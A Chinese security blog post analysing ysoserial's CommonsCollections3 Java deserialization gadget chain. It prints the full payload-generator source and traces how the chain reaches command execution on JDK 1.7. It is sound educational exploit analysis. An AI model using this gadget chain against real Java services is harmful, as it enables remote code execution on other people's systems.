freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

ysoserial代码分析-CommonsCollections3
aboood 2022-02-28 21:52:57 177769
所属地 天津

1.前言

本篇文章为学习ysoserial代码系列的第三篇,分析的攻击链为CommonsCollections3,源码是以github上最新版ysoserial代码为例下载地址,具体运行环境为jdk 1.7+ 和 maven 3.x.+为主。

以下是CommonsCollections3的源码,依赖的库为commons-collections:commons-collections:3.1:

public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {

	@Override
    public Object getObject(final String command) throws Exception {
		Object templatesImpl = Gadgets.createTemplatesImpl(command);

		// inert chain for setup
		final Transformer transformerChain = new ChainedTransformer(
			new Transformer[]{ new ConstantTransformer(1) });
		// real chain for after setup
		final Transformer[] transformers = new Transformer[] {
				new ConstantTransformer(TrAXFilter.class),
				new InstantiateTransformer(
						new Class[] { Templates.class },
						new Object[] { templatesImpl } )};

		final Map innerMap = new HashMap();

		final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

		final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);

		final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

		Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain

		return handler;
	}

	public static void main(final String[] args) throws Exception {
		PayloadRunner.run(CommonsCollections3.class, args);
	}

	public static boolean isApplicableJavaVersion() {
        return JavaVersion.isAnnInvHUniversalMethodImpl();
    }
}

2.基础知识

CommonsCollections3中使用的部分类已经在之前的文章讲解过,以下是新涉及到的类。

InstantiateTransformer类:继承了Transformer和Serializable接口,调用构造方法生成对象时会传入类型参数数组和实际对象数组。

1646038094_621c8c4e55a888eec9bb4.png!small?1646038272497

1646038145_621c8c815cd2bcb9764f3.png!small?1646038323481

在执行transform方法时,会根据参数类型数组反射取到传入参数的构造方法,然后传入实际参数数组生成对象返回。

1646038214_621c8cc665745e7fb825b.png!small?1646038392620

TrAXFilter类:类的构造方法中存在攻击链需要的点,调用构造方法时传入的对象为继承了Templates接口的实现类,当传入的对象实际类型为TransformerImpl时,执行到templates.newTransformer调用时,可以触发TransformerImpl内的漏洞点。

1646039601_621c92317b83e98722e89.png!small?1646039779617

3.代码分析

代码首先生成含有恶意代码的TransformerImpl对象。

1646055101_621ccebd74b0f127bdc08.png!small?1646055108129

生成Transformer利用链,数组第一个位置设置为ConstantTransformer对象,第二个位置设置为InstantiateTransformer对象,其在执行transform方法时事件操作为取TrAXFilter对象的构造方法,传入TransformerImpl恶意对象执行。

1646055141_621ccee50ede50d8497d6.png!small?1646055147708

生成LazyMap对象,传入Transformer利用链。

1646055343_621ccfaf5aea8d355d4c7.png!small?1646055350068

和CommonsCollections1一样利用AnnotationInvocationHandler类的readObject方法和invoke方法触发漏洞点。

1646055391_621ccfdf68e09f5770f52.png!small?1646055398110

使用反射的方式将利用链设置到transformerChain对象的iTransformers参数,返回生成的payload.

1646055664_621cd0f0c34eb9e8fc3c8.png!small?1646055671458

4.调试运行

使用CommonsCollections3提供的测试代码,在Runtime的exec方法处下断点,可以看到方法调用栈和CommonsCollections1比较类似,只是在执行TrAXFilter类时发生变化。

1646055815_621cd1873c792c157d7c4.png!small?1646055822020

在TrAXFilter中的构造方法中执行了InstantiateTransformer对象的newTransformer方法。

1646055902_621cd1de137f0809c8296.png!small?1646055908751

后续的执行过程和CommonsCollections2中的TransformerImpl漏洞执行链一样,成功执行命令。

1646055989_621cd23560525855f55b5.png!small?1646055996218

5.总结

因为CommonsCollections3中利用了AnnotationInvocationHandler类,所以只在jdk1.7中测试成功,在jdk1.8中AnnotationInvocationHandler类的readObject方法已经加强了安全措施,攻击无法成功。

# web安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 aboood 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
JAVA代码安全
aboood LV.4
这家伙太懒了,还未填写个人描述!
  • 15 文章数
  • 20 关注者
企业安全测试分享 | 如何通过python模拟前端加密登录
2023-10-27
JAVA代码审计3·某XXX博客系统
2023-10-02
JAVA代码审计2 · 某XXX网络考试系统
2023-09-18
文章目录